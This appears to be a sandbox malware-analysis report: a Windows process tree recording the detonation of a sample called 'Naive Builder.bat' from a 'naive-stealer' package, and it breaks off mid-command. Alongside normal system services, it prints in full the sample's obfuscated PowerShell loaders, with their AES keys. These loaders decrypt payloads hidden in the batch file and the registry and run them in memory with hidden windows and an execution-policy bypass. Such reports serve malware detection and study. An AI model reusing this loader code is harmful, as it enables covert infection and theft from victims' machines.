  C:\Windows\System32\dllhost.exe /Processid:{b84deb7f-7243-4ae3-86eb-bac0e4178d51}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2276
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{011e311b-be34-4675-8a1d-5c78776361cb}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1720
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{a5d80aa4-8f62-4e9d-b96e-ec241d4e7440}
  2⤵
  PID:5876
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{8d8dfa74-db64-40fe-a3dc-d9798da551c4}
  2⤵
  PID:1216

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:968

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:420

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:436

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:740

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1200

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1272
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:3232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1344

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1360

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1568

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1596
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1688

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1796

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1840

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1976

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1984

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1992

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1208

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2116

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2216

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2332

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2452

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2620

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2724

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2740

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2776

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2832

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3140

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3372

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3596

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of UnmapMainImage
PID:3636
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\naive-stealer-main\Naive Builder.bat"
  2⤵
  - Drops file in Windows directory
  - Suspicious use of WriteProcessMemory
  PID:4584
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2828
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3808
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1252
- - C:\Users\Admin\AppData\Local\Temp\naive-stealer-main\Naive Builder.bat.exe
    "Naive Builder.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function mJkVt($luVLu){ $XURkq=[System.Security.Cryptography.Aes]::Create(); $XURkq.Mode=[System.Security.Cryptography.CipherMode]::CBC; $XURkq.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $XURkq.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EJfVxric5nYI0sCifeM7QtCynXluiHdjC3MMcb2UUrA='); $XURkq.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IIC8RBkY6uF/2e5D1cUgfg=='); $XhpAT=$XURkq.CreateDecryptor(); $return_var=$XhpAT.TransformFinalBlock($luVLu, 0, $luVLu.Length); $XhpAT.Dispose(); $XURkq.Dispose(); $return_var;}function hLEOv($luVLu){ $SBbXV=New-Object System.IO.MemoryStream(,$luVLu); $RlXKT=New-Object System.IO.MemoryStream; $XPinw=New-Object System.IO.Compression.GZipStream($SBbXV, [IO.Compression.CompressionMode]::Decompress); $XPinw.CopyTo($RlXKT); $XPinw.Dispose(); $SBbXV.Dispose(); $RlXKT.Dispose(); $RlXKT.ToArray();}function tzqfR($luVLu,$MCcIJ){ $VEHZu=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$luVLu); $cUkGe=$VEHZu.EntryPoint; $cUkGe.Invoke($null, $MCcIJ);}$flgbs=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\naive-stealer-main\Naive Builder.bat').Split([Environment]::NewLine);foreach ($zFvRn in $flgbs) { if ($zFvRn.StartsWith(':: ')) { $TRCCB=$zFvRn.Substring(4); break; }}$YrvSK=[string[]]$TRCCB.Split('\');$xplph=hLEOv (mJkVt ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($YrvSK[0])));$vNzEy=hLEOv (mJkVt ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($YrvSK[1])));tzqfR $vNzEy (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));tzqfR $xplph (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Checks computer location settings
    - Deletes itself
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1056
  - - C:\Windows\$sxr-powershell.exe
      "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function GwNqo($hcWdd){ $GbeQA=[System.Security.Cryptography.Aes]::Create(); $GbeQA.Mode=[System.Security.Cryptography.CipherMode]::CBC; $GbeQA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $GbeQA.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw='); $GbeQA.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw=='); $Gzcae=$GbeQA.('rotpyrceDetaerC'[-1..-15] -join '')(); $xZCEn=$Gzcae.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hcWdd, 0, $hcWdd.Length); $Gzcae.Dispose(); $GbeQA.Dispose(); $xZCEn;}function KdelZ($hcWdd){ $xreea=New-Object System.IO.MemoryStream(,$hcWdd); $tUOxo=New-Object System.IO.MemoryStream; $AlcuH=New-Object System.IO.Compression.GZipStream($xreea, [IO.Compression.CompressionMode]::Decompress); $AlcuH.CopyTo($tUOxo); $AlcuH.Dispose(); $xreea.Dispose(); $tUOxo.Dispose(); $tUOxo.ToArray();}function XnBtD($hcWdd,$vCKUl){ $UUjhO=[System.Reflection.Assembly]::Load([byte[]]$hcWdd); $EYBYD=$UUjhO.EntryPoint; $EYBYD.Invoke($null, $vCKUl);}$GbeQA1 = New-Object System.Security.Cryptography.AesManaged;$GbeQA1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$GbeQA1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$GbeQA1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw=');$GbeQA1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw==');$rwFhy = $GbeQA1.('rotpyrceDetaerC'[-1..-15] -join '')();$uQajJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('R8YHI2y3+bfC/arKVq+DpA==');$uQajJ = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ, 0, $uQajJ.Length);$uQajJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ);$ZldVv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zpFbjFR6Q79enMkRg/fV9jGByuCosOL+FFrp1L9Bxrc=');$ZldVv = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZldVv, 0, $ZldVv.Length);$ZldVv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZldVv);$QHSJO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yRagRVP7Y0yIRGNXut/wRA==');$QHSJO = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QHSJO, 0, $QHSJO.Length);$QHSJO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($QHSJO);$qPAwu = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3nv1Wa++uJVxc1vWntaKLplXRZxKDFr3uibDxi58OA6akRSWJKPKcLd61SPItlqY0XnMHBGvZkhpIvPUbbKr1oJ6xGwA14S05HTX8ockPubh62StS/uMKKQKA6C1mSEme1GddTODhgWgh94iy7yqk9lk78YqFUUq+TWzEkqK7YPDcKWIjzLdifgPOFrT/1yCRwIptdg6knFTVhsM9mPIS/N6Lrf7aikwoweqvaONhL5z2ZgTc5YSXyNme8h7UD4bIDYpyuHM1cBooljxqM+5vnB+aOUje92456JKGrbTyLLd+ClQQpJx7MbmRzCli54D+d68nATq5QHuaJzPeVnf62Tc9iUqA2/7kiNVK6We8YGHgon3mR5ksIo4U0Fg2hf+GIxQoAgKHnP663gcBFoSoc/gKpL0IpCEsZqRJUfLV8c=');$qPAwu = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qPAwu, 0, $qPAwu.Length);$qPAwu = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qPAwu);$EAKnT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XmPKocLK/8SmKmaO5JmdsA==');$EAKnT = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EAKnT, 0, $EAKnT.Length);$EAKnT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EAKnT);$iskZf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('poxV0MP0jpPLCq8Z3pitYA==');$iskZf = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iskZf, 0, $iskZf.Length);$iskZf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($iskZf);$Vsxgi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fMjPiDDtGwwKHRObVzT45g==');$Vsxgi = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Vsxgi, 0, $Vsxgi.Length);$Vsxgi = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Vsxgi);$GZsVo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uCGw99xaYYIE7Jybam7tCw==');$GZsVo = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GZsVo, 0, $GZsVo.Length);$GZsVo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GZsVo);$VYaHm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZD1IRjg+BO+p2yRt7mUxgQ==');$VYaHm = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($VYaHm, 0, $VYaHm.Length);$VYaHm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($VYaHm);$uQajJ0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Vv8TsP5rPt+SM413bEOWhA==');$uQajJ0 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ0, 0, $uQajJ0.Length);$uQajJ0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ0);$uQajJ1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pmT31TTl/lRidgabhJZB0Q==');$uQajJ1 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ1, 0, $uQajJ1.Length);$uQajJ1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ1);$uQajJ2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nHishQEgCf6Wrip0Vd5NBw==');$uQajJ2 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ2, 0, $uQajJ2.Length);$uQajJ2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ2);$uQajJ3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EHH0aLIupLRmFvkxYHYafA==');$uQajJ3 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ3, 0, $uQajJ3.Length);$uQajJ3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ3);$rwFhy.Dispose();$GbeQA1.Dispose();if (@(get-process -ea silentlycontinue $uQajJ3).count -gt 1) {exit};$cqpVt = [Microsoft.Win32.Registry]::$GZsVo.$Vsxgi($uQajJ).$iskZf($ZldVv);$eimmm=[string[]]$cqpVt.Split('\');$preJB=KdelZ(GwNqo([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($eimmm[1])));XnBtD $preJB (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$UcUdn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($eimmm[0]);$GbeQA = New-Object System.Security.Cryptography.AesManaged;$GbeQA.Mode = [System.Security.Cryptography.CipherMode]::CBC;$GbeQA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$GbeQA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw=');$GbeQA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw==');$Gzcae = $GbeQA.('rotpyrceDetaerC'[-1..-15] -join '')();$UcUdn = $Gzcae.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UcUdn, 0, $UcUdn.Length);$Gzcae.Dispose();$GbeQA.Dispose();$xreea = New-Object System.IO.MemoryStream(, $UcUdn);$tUOxo = New-Object System.IO.MemoryStream;$AlcuH = New-Object System.IO.Compression.GZipStream($xreea, [IO.Compression.CompressionMode]::$uQajJ1);$AlcuH.$VYaHm($tUOxo);$AlcuH.Dispose();$xreea.Dispose();$tUOxo.Dispose();$UcUdn = $tUOxo.ToArray();$HWqkc = $qPAwu | IEX;$UUjhO = $HWqkc::$uQajJ2($UcUdn);$EYBYD = $UUjhO.EntryPoint;$EYBYD.$uQajJ0($null, (, [string[]] ($QHSJO)))
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      Hide Artifacts: Hidden Window
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3288
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(3288).WaitForExit();[System.Threading.Thread]::Sleep(5000); function GwNqo($hcWdd){ $GbeQA=[System.Security.Cryptography.Aes]::Create(); $GbeQA.Mode=[System.Security.Cryptography.CipherMode]::CBC; $GbeQA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $GbeQA.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw='); $GbeQA.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw=='); $Gzcae=$GbeQA.('rotpyrceDetaerC'[-1..-15] -join '')(); $xZCEn=$Gzcae.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hcWdd, 0, $hcWdd.Length); $Gzcae.Dispose(); $GbeQA.Dispose(); $xZCEn;}function KdelZ($hcWdd){ $xreea=New-Object System.IO.MemoryStream(,$hcWdd); $tUOxo=New-Object System.IO.MemoryStream; $AlcuH=New-Object System.IO.Compression.GZipStream($xreea, [IO.Compression.CompressionMode]::Decompress); $AlcuH.CopyTo($tUOxo); $AlcuH.Dispose(); $xreea.Dispose(); $tUOxo.Dispose(); $tUOxo.ToArray();}function XnBtD($hcWdd,$vCKUl){ $UUjhO=[System.Reflection.Assembly]::Load([byte[]]$hcWdd); $EYBYD=$UUjhO.EntryPoint; $EYBYD.Invoke($null, $vCKUl);}$GbeQA1 = New-Object System.Security.Cryptography.AesManaged;$GbeQA1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$GbeQA1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$GbeQA1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw=');$GbeQA1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw==');$rwFhy = $GbeQA1.('rotpyrceDetaerC'[-1..-15] -join '')();$uQajJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('R8YHI2y3+bfC/arKVq+DpA==');$uQajJ = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ, 0, $uQajJ.Length);$uQajJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ);$ZldVv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zpFbjFR6Q79enMkRg/fV9jGByuCosOL+FFrp1L9Bxrc=');$ZldVv = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZldVv, 0, $ZldVv.Length);$ZldVv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZldVv);$QHSJO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yRagRVP7Y0yIRGNXut/wRA==');$QHSJO = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QHSJO, 0, $QHSJO.Length);$QHSJO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($QHSJO);$qPAwu = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3nv1Wa++uJVxc1vWntaKLplXRZxKDFr3uibDxi58OA6akRSWJKPKcLd61SPItlqY0XnMHBGvZkhpIvPUbbKr1oJ6xGwA14S05HTX8ockPubh62StS/uMKKQKA6C1mSEme1GddTODhgWgh94iy7yqk9lk78YqFUUq+TWzEkqK7YPDcKWIjzLdifgPOFrT/1yCRwIptdg6knFTVhsM9mPIS/N6Lrf7aikwoweqvaONhL5z2ZgTc5YSXyNme8h7UD4bIDYpyuHM1cBooljxqM+5vnB+aOUje92456JKGrbTyLLd+ClQQpJx7MbmRzCli54D+d68nATq5QHuaJzPeVnf62Tc9iUqA2/7kiNVK6We8YGHgon3mR5ksIo4U0Fg2hf+GIxQoAgKHnP663gcBFoSoc/gKpL0IpCEsZqRJUfLV8c=');$qPAwu = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qPAwu, 0, $qPAwu.Length);$qPAwu = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qPAwu);$EAKnT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XmPKocLK/8SmKmaO5JmdsA==');$EAKnT = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EAKnT, 0, $EAKnT.Length);$EAKnT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EAKnT);$iskZf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('poxV0MP0jpPLCq8Z3pitYA==');$iskZf = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iskZf, 0, $iskZf.Length);$iskZf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($iskZf);$Vsxgi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fMjPiDDtGwwKHRObVzT45g==');$Vsxgi = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Vsxgi, 0, $Vsxgi.Length);$Vsxgi = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Vsxgi);$GZsVo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uCGw99xaYYIE7Jybam7tCw==');$GZsVo = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GZsVo, 0, $GZsVo.Length);$GZsVo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GZsVo);$VYaHm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZD1IRjg+BO+p2yRt7mUxgQ==');$VYaHm = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($VYaHm, 0, $VYaHm.Length);$VYaHm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($VYaHm);$uQajJ0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Vv8TsP5rPt+SM413bEOWhA==');$uQajJ0 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ0, 0, $uQajJ0.Length);$uQajJ0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ0);$uQajJ1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pmT31TTl/lRidgabhJZB0Q==');$uQajJ1 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ1, 0, $uQajJ1.Length);$uQajJ1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ1);$uQajJ2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nHishQEgCf6Wrip0Vd5NBw==');$uQajJ2 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ2, 0, $uQajJ2.Length);$uQajJ2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ2);$uQajJ3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EHH0aLIupLRmFvkxYHYafA==');$uQajJ3 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ3, 0, $uQajJ3.Length);$uQajJ3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ3);$rwFhy.Dispose();$GbeQA1.Dispose();if (@(get-process -ea silentlycontinue $uQajJ3).count -gt 1) {exit};$cqpVt = [Microsoft.Win32.Registry]::$GZsVo.$Vsxgi($uQajJ).$iskZf($ZldVv);$eimmm=[string[]]$cqpVt.Split('\');$preJB=KdelZ(GwNqo([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($eimmm[1])));XnBtD $preJB (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$UcUdn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($eimmm[0]);$GbeQA = New-Object System.Security.Cryptography.AesManaged;$GbeQA.Mode = [System.Security.Cryptography.CipherMode]::CBC;$GbeQA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$GbeQA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw=');$GbeQA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw==');$Gzcae = $GbeQA.('rotpyrceDetaerC'[-1..-15] -join '')();$UcUdn = $Gzcae.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UcUdn, 0, $UcUdn.Length);$Gzcae.Dispose();$GbeQA.Dispose();$xreea = New-Object System.IO.MemoryStream(, $UcUdn);$tUOxo = New-Object System.IO.MemoryStream;$AlcuH = New-Object System.IO.Compression.GZipStream($xreea, [IO.Compression.CompressionMode]::$uQajJ1);$AlcuH.$VYaHm($tUOxo);$AlcuH.Dispose();$xreea.Dispose();$tUOxo.Dispose();$UcUdn = $tUOxo.ToArray();$HWqkc = $qPAwu | 